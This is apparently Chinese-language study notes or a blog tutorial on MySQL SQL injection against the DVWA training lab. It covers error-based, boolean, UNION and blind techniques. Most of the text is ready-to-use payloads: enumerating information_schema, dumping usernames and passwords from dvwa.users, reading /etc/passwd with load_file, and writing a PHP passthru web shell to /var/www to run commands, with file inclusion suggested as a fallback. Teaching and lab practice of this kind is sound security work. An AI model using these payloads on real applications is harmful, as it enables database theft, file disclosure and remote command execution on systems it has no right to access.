服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器
如判断登录
select * from users where user='uname' and password='pass'
select * from users where user='name' and password="or"=''
基于报错的检测方法:
' " %
查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句
基于布尔的检测:
1' and '1'='1或1' and '1
1'and'1'='2 或1' and '0
表列数/显示信息位于哪一列:
'order by 3-- #按查询列号排序(-- 注释符)
如果猜测不对会返回报错
猜到第二列没返回,说明在第二列
联合查询:
' union select 1,2--
查到对应信息后,查看db用户-----user() db版本----version() 当前数据库---database()
函数@@datadir--数据库路径 @@hostname--主机名 @@version--数据库版本信息 @@version_compile_os--系统主机版本
查看数据库版本和用户
查看当前数据库
查看数据库路径
mysql数据结构------infomation_schema所有信息都在这个库里面
查看所有的库,和所有的表
' union select table_name,table_schema from information_schema.tables--
统计每个表中的数量
'union select table_schema,count(*) from information_Schema.tables group by table_schema--
查看dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
查看dvwa表中的所有列
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--
查询dvwa表中的user password列的内容
' union select user,password from dvwa.users--
读取文件
' union select null,load_file('/etc/passwd')--
写入文件(写入木马什么的,前提是要有www目录的写权限)
' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--
然后执行命令
如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令
sql盲注
不显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息
当报错信息隐藏了,或者替换为通用的错误提示,sql注入无法根据报错信息判断语句的执行结果,即盲
思路:无法基于报错结果判断,那就基于逻辑真假的不同结果来判断
1' and 1=1-- (结果为真,返回执行了)
1' and 1=2--(结果为假的时候,没有任何返回,说明逻辑语句被执行了)
1' order by 2-- 查询有两个字段
1' union select 1,2-- 联合查询
1' and 1=0 union select null,table_name from information_schema.tables--
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--
友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn